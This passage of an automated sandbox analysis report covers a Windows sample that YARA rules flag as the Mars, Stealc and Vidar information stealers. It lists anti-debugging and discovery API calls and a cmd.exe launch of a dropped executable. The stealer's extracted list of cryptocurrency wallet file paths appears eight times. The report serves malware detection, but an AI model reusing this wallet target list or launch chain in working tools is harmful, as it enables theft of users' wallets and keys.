Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C91B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6C91B66C
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C91B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C91B1F7
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6CACAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CACAC62
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: 7_2_0058CC07 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_0058CC07
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: 7_2_00587C28 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_00587C28
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: 7_2_00588609 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00588609
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: 7_2_00588757 SetUnhandledExceptionFilter,	7_2_00588757

HIPS / PFW / Operating System Protection Evasion

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe

Code function: 0_2_00415D00 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00415D00

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe"			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe "C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe"			Jump to behavior

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe

Code function: 0_2_6C91B341 cpuid

0_2_6C91B341

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	0_2_00414570
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: GetLocaleInfoW,	7_2_00591A67
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: GetLocaleInfoW,	7_2_00597A1C
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	7_2_00597B45
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	7_2_005973E1
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: GetLocaleInfoW,	7_2_00597C4C
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	7_2_00597D19
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: EnumSystemLocalesW,	7_2_00597659
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: EnumSystemLocalesW,	7_2_005916C2
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: EnumSystemLocalesW,	7_2_005976A4
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: EnumSystemLocalesW,	7_2_0059773F
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	7_2_005977CC

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe

Code function: 0_2_00414450 GetProcessHeap,HeapAlloc,GetLocalTime,wsprintfA,

0_2_00414450

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe

Code function: 0_2_004143C0 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_004143C0

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe

Code function: 0_2_004144B0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

0_2_004144B0

Source: Amcache.hve.9.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.9.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.9.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.9.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Mars stealer

Source: Yara match	File source: 0.2.YEnIrzZUUw.exe.4190e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.YEnIrzZUUw.exe.5b70000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.YEnIrzZUUw.exe.5b70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.YEnIrzZUUw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.YEnIrzZUUw.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.YEnIrzZUUw.exe.4190e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2245886678.0000000004190000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1690988607.0000000005B70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2246016069.00000000041FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: YEnIrzZUUw.exe PID: 7428, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.YEnIrzZUUw.exe.4190e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.YEnIrzZUUw.exe.5b70000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.YEnIrzZUUw.exe.4190e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.YEnIrzZUUw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.YEnIrzZUUw.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.YEnIrzZUUw.exe.5b70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2245886678.0000000004190000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1690988607.0000000005B70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: YEnIrzZUUw.exe PID: 7428, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
